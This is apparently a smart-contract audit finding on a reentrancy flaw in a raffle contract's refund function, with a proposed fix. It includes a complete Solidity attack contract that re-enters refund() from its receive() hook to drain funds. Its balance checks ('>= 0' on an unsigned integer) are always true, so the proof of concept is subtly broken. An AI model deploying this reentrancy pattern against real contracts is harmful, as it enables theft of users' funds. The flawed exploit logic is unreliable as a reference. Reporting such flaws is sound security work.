Summary
The PuppyRaffle::refund function doesn't follow the CEI design therefore it is possible to create a reentrancy attack and steal the funds in the contract.
Moreover once the refund occurred, we need to properly delete the user from the array which is currently not done.
Vulnerability Details
A malicious contract could do a reentrancy attack on refund function and steal all the fund in the contract.
This is very dangerous
import {PuppyRaffle} from "path/PuppyRaffle.sol";
contract MaliciousReentrancy{
PuppyRaffle targetContract;
constructor(address _targetContractAddress){
targetContract = PuppyRaffle(_targetContractAddress);
}
function callRefund() external {
uint targetBalance = address(targetContract).balance;
uint playerIndex = targetContract.getActivePlayerIndex(address(this));
if (targetBalance >= 0) {
targetContract.refund(playerIndex);
}
}
receive() external payable {
uint targetBalance = address(targetContract).balance;
uint playerIndex = targetContract.getActivePlayerIndex(address(this));
if (targetBalance >= 0) {
targetContract.refund(playerIndex);
}
}
}
So somebody just need to call the function PuppyRaffle::enterRaffle with this malicious contract to be able to steal all the fees.
Impact
Based on the previous section Vulnerability Details you can see that the likelihood to make this attack is 100% and the result is fund stolen therefore this is a high vulnerability
Tools Used
Just reading the code
Recommendations
- function refund(uint256 playerIndex) public {
- address playerAddress = players[playerIndex];
- require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
- require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
-
- payable(msg.sender).sendValue(entranceFee);
-
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
- }
+ function refund(uint256 playerIndex) public {
+ address playerAddress = players[playerIndex];
+ require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
+ require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+
+ // we write the last element at the location of playerIndex
+ players[playerIndex] = players[players.length-1];
+ // we pop the last element
+ players.pop();
+ payable(msg.sender).sendValue(entranceFee);
+
+ emit RaffleRefunded(playerAddress);
+ }
